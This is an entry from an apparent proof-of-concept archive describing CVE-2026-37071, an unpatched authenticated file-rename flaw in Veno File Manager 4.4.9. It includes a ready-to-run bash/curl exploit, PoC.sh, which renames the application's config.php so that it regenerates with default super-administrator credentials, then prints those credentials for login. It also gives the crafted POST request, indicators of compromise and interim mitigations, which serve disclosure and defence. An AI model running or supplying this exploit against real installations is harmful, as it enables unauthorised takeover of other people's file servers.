PoC Archive PoC Archive
High CVE-2026-37071 unpatched

Veno File Manager 4.4.9 — Arbitrary File Rename to Privilege Escalation (CVE-2026-37071)

by jfs-jfs · 2026-07-05

Severity
High
CVE
CVE-2026-37071
Category
web
Affected product
Veno File Manager Project
Affected versions
4.4.9
Disclosed
2026-07-05
Patch status
unpatched

Archive entry

intelseclab/poc-archive

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherjfs-jfs
CVE / AdvisoryCVE-2026-37071
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsfile-manager, privilege-escalation, arbitrary-file-rename, php, authenticated, veno-file-manager
RelatedN/A

Affected Target

FieldValue
Software / SystemVeno File Manager Project
Versions Affected4.4.9
Language / PlatformBash / PHP web application
Authentication RequiredYes (user with rename permission)
Network Access RequiredYes

Summary

Veno File Manager 4.4.9’s Actions::renameFile() function fails to restrict which files an authenticated user with rename permission can rename. By renaming the application’s own vfm-admin/config.php file, an attacker triggers the application into believing it is running its first-load setup, causing it to regenerate its configuration and the users.php credentials file with default super-administrator values. The attacker can then log in with the well-known default credentials and take over the entire installation.

Vulnerability Details

Root Cause

Actions::renameFile() performs no validation that the file being renamed belongs to the requesting user’s assigned directory scope, allowing renaming of core application files such as the configuration file (incorrect access control / CWE-284-class issue).

Attack Vector

  1. Authenticate as any user who has been granted the rename_allowed permission.
  2. Send a crafted POST request to the application root targeting vfm-admin/config.php, renaming it to an arbitrary name.
  3. The application, missing its configuration, treats the next request as a fresh install and regenerates config.php and users.php with default values.
  4. Log in using the default super-administrator credentials (admin / password).

Impact

Complete takeover of the super-administrator account and, by extension, the entire Veno File Manager installation.

Environment / Lab Setup

Target:   Veno File Manager 4.4.9 (self-hosted PHP install)
Attacker: bash, curl

Proof of Concept

PoC Script

See PoC.sh in this folder.

1

./PoC.sh <vfm cookie name> <vfm cookie value> <url to root of vfm installation>/

The script issues a POST request that renames vfm-admin/config.php, forcing regeneration of the configuration and default admin credentials, then prints the default login (admin / password) for the attacker to use.

Detection & Indicators of Compromise

POST / HTTP/1.1
thisdir=vfm-admin/&thisext=php&oldname=<base64 'config'>&newname=anything

Signs of compromise:

  • Unexpected regeneration of config.php / users.php
  • Successful logins with default admin/password credentials shortly after a rename request

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationRestrict rename operations to files within the user’s assigned directory; deny renaming of core application files such as config.php

References

Notes

Mirrored from https://github.com/jfs-jfs/CVE-2026-37071 on 2026-07-05.

PoC.sh
bash raw GitHub ↓ Download
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

#!/usr/bin/env bash

##########################################################
############### RENAME USER PRIV-ESCALATION ##############
##########################################################

################# TESTED ON VERSION 4.4.9 ################

# This exploit lets an authenticated attacker with the
# 'rename_allowed' permission to rename any arbitrary file
# on the system where the application has write access.
#
# In this demonstration it renames the vfm-admin/config.php
# file so the thinks it is on first load and regenerates it
# along with the users.php file.

# - Parameter $1 is vfm session cookie name
# - Parameter $2 is vfm session cookie value
# - Parameter $3 is Url to the root of where the installation
#   of vfm is (a.k.a. the root of the application)

if [[ -z "$1" ]] || [[ -z "$2" ]] || [[ -z "$3" ]]; then
  echo "[ USAGE ] :: ./auth-rename-allowed-privilege-escalation.sh <vfm cookie name> <vfm cookie value> <url to root of vfm installation>/"
  exit 1
fi

echo "[ EXECUTION STARTED ]"
curl -X POST \
  -b "$1=$2" \
  -d "thisdir=vfm-admin/" \
  -d "thisext=php" \
  -d "oldname=$(echo -n "config" | base64)" \
  -d "newname=anything" \
  "$3/" &>/dev/null
echo "[ DONE ]"

echo
echo "Try to login with superadmin default credentials:"
echo "    [ USER :: admin    ]"
echo "    [ PASS :: password ]"